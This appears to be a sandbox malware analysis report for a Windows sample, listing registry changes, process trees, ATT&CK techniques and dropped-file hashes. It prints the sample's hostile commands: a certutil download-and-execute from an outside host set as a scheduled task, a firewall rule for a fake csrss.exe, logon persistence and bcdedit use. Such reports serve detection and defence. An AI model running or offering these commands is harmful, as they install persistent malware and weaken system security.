Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 1400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a32000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	csrss.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 19000000010000001000000014c3bd3549ee225aece13734ad8ca0b80f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a41400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f392000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	csrss.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4	patch.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 040000000100000010000000e4a68ac854ac5242460afd72481b2a441400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a319000000010000001000000014c3bd3549ee225aece13734ad8ca0b82000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	patch.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4	csrss.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exee277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.execsrss.exe

pid	process
1192	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
900	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
1436	csrss.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.execsrss.exe

description	pid	process
Token: SeDebugPrivilege	1192	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Token: SeImpersonatePrivilege	1192	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Token: SeSystemEnvironmentPrivilege	1436	csrss.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.execmd.execsrss.exe

description	pid	process	target process
PID 900 wrote to memory of 1696	900	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe	cmd.exe
PID 900 wrote to memory of 1696	900	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe	cmd.exe
PID 900 wrote to memory of 1696	900	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe	cmd.exe
PID 900 wrote to memory of 1696	900	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe	cmd.exe
PID 1696 wrote to memory of 1704	1696	cmd.exe	netsh.exe
PID 1696 wrote to memory of 1704	1696	cmd.exe	netsh.exe
PID 1696 wrote to memory of 1704	1696	cmd.exe	netsh.exe
PID 900 wrote to memory of 1436	900	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe	csrss.exe
PID 900 wrote to memory of 1436	900	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe	csrss.exe
PID 900 wrote to memory of 1436	900	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe	csrss.exe
PID 900 wrote to memory of 1436	900	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe	csrss.exe
PID 1436 wrote to memory of 1404	1436	csrss.exe	bcdedit.exe
PID 1436 wrote to memory of 1404	1436	csrss.exe	bcdedit.exe
PID 1436 wrote to memory of 1404	1436	csrss.exe	bcdedit.exe
PID 1436 wrote to memory of 1404	1436	csrss.exe	bcdedit.exe

C:\Users\Admin\AppData\Local\Temp\e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
"C:\Users\Admin\AppData\Local\Temp\e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1192

C:\Users\Admin\AppData\Local\Temp\e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
"C:\Users\Admin\AppData\Local\Temp\e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe"
2⤵
- Windows security bypass
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:900

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:1696

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
PID:1704

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1436

C:\Windows\system32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:1732

C:\Windows\system32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:1840

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
PID:1608

C:\Windows\system32\bcdedit.exe
C:\Windows\Sysnative\bcdedit.exe /v
4⤵
- Modifies boot configuration data using bcdedit
PID:1404

C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20230129193229.log C:\Windows\Logs\CBS\CbsPersist_20230129193229.cab
1⤵
- Drops file in Windows directory
PID:528

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Install Root Certificate

T1130

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.9MB

MD5
3fe78f7695077a15ff90b11c0793c21f

SHA1
2fcbb4d51326ca0eafafad8ce757f6855f34ec55

SHA256
e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424

SHA512
1f5a3e19576db656ceea0468989d308831fa384ac13434d15642787806f7d838cbe95072dbd8c3e73947d320e5f98e40f920a6f496ce297287d60bb865f2c141

Download Submit
\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
\Users\Admin\AppData\Local\Temp\dbghelp.dll
Filesize
1.5MB

MD5
f0616fa8bc54ece07e3107057f74e4db

SHA1
b33995c4f9a004b7d806c4bb36040ee844781fca

SHA256
6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026

SHA512
15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

Download Submit
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
Filesize
5.3MB

MD5
1afff8d5352aecef2ecd47ffa02d7f7d

SHA1
8b115b84efdb3a1b87f750d35822b2609e665bef

SHA256
c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

SHA512
e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

Download Submit
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
Filesize
5.3MB

MD5
1afff8d5352aecef2ecd47ffa02d7f7d

SHA1
8b115b84efdb3a1b87f750d35822b2609e665bef

SHA256
c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

SHA512
e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

Download Submit
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
Filesize
5.3MB

MD5
1afff8d5352aecef2ecd47ffa02d7f7d

SHA1
8b115b84efdb3a1b87f750d35822b2609e665bef

SHA256
c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

SHA512
e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

Download Submit
\Users\Admin\AppData\Local\Temp\osloader.exe
Filesize
591KB

MD5
e2f68dc7fbd6e0bf031ca3809a739346

SHA1
9c35494898e65c8a62887f28e04c0359ab6f63f5

SHA256
b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4

SHA512
26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579

Download Submit
\Users\Admin\AppData\Local\Temp\osloader.exe
Filesize
591KB

MD5
e2f68dc7fbd6e0bf031ca3809a739346

SHA1
9c35494898e65c8a62887f28e04c0359ab6f63f5

SHA256
b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4

SHA512
26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579

Download Submit
\Users\Admin\AppData\Local\Temp\osloader.exe
Filesize
591KB

MD5
e2f68dc7fbd6e0bf031ca3809a739346

SHA1
9c35494898e65c8a62887f28e04c0359ab6f63f5

SHA256
b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4

SHA512
26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579

Download Submit
\Users\Admin\AppData\Local\Temp\symsrv.dll
Filesize
163KB

MD5
5c399d34d8dc01741269ff1f1aca7554

SHA1
e0ceed500d3cef5558f3f55d33ba9c3a709e8f55

SHA256
e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f

SHA512
8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

Download Submit
\Windows\rss\csrss.exe
Filesize
3.9MB

MD5
3fe78f7695077a15ff90b11c0793c21f

SHA1
2fcbb4d51326ca0eafafad8ce757f6855f34ec55

SHA256
e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424

SHA512
1f5a3e19576db656ceea0468989d308831fa384ac13434d15642787806f7d838cbe95072dbd8c3e73947d320e5f98e40f920a6f496ce297287d60bb865f2c141

Download Submit
\Windows\rss\csrss.exe
Filesize
3.9MB

MD5
3fe78f7695077a15ff90b11c0793c21f

SHA1
2fcbb4d51326ca0eafafad8ce757f6855f34ec55

SHA256
e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424

SHA512
1f5a3e19576db656ceea0468989d308831fa384ac13434d15642787806f7d838cbe95072dbd8c3e73947d320e5f98e40f920a6f496ce297287d60bb865f2c141

Download Submit
memory/900-70-0x0000000000400000-0x0000000000C1F000-memory.dmp

Filesize
8.1MB

Download
memory/900-60-0x0000000000C20000-0x0000000000FC8000-memory.dmp

Filesize
3.7MB

Download
memory/900-59-0x0000000000C20000-0x0000000000FC8000-memory.dmp

Filesize
3.7MB

Download
memory/900-61-0x0000000000400000-0x0000000000C1F000-memory.dmp

Filesize
8.1MB

Download
memory/1192-54-0x0000000000E70000-0x0000000001218000-memory.dmp

Filesize
3.7MB

Download
memory/1192-55-0x0000000000E70000-0x0000000001218000-memory.dmp

Filesize
3.7MB

Download
memory/1192-56-0x0000000001220000-0x0000000001A25000-memory.dmp

Filesize
8.0MB

Download
memory/1192-57-0x0000000000400000-0x0000000000C1F000-memory.dmp

Filesize
8.1MB

Download
memory/1192-58-0x0000000000400000-0x0000000000C1F000-memory.dmp

Filesize
8.1MB

Download
memory/1404-87-0x0000000000000000-mapping.dmp

Download
memory/1436-72-0x0000000000400000-0x0000000000C1F000-memory.dmp

Filesize
8.1MB

Download
memory/1436-82-0x0000000001350000-0x00000000016F8000-memory.dmp

Filesize
3.7MB

Download
memory/1436-83-0x0000000000400000-0x0000000000C1F000-memory.dmp

Filesize
8.1MB

Download
memory/1436-67-0x0000000000000000-mapping.dmp

Download
memory/1436-71-0x0000000001350000-0x00000000016F8000-memory.dmp

Filesize
3.7MB

Download
memory/1436-69-0x0000000001350000-0x00000000016F8000-memory.dmp

Filesize
3.7MB

Download
memory/1608-80-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download
memory/1696-62-0x0000000000000000-mapping.dmp

Download
memory/1704-63-0x0000000000000000-mapping.dmp

Download
memory/1704-64-0x000007FEFBAC1000-0x000007FEFBAC3000-memory.dmp

Filesize
8KB

Download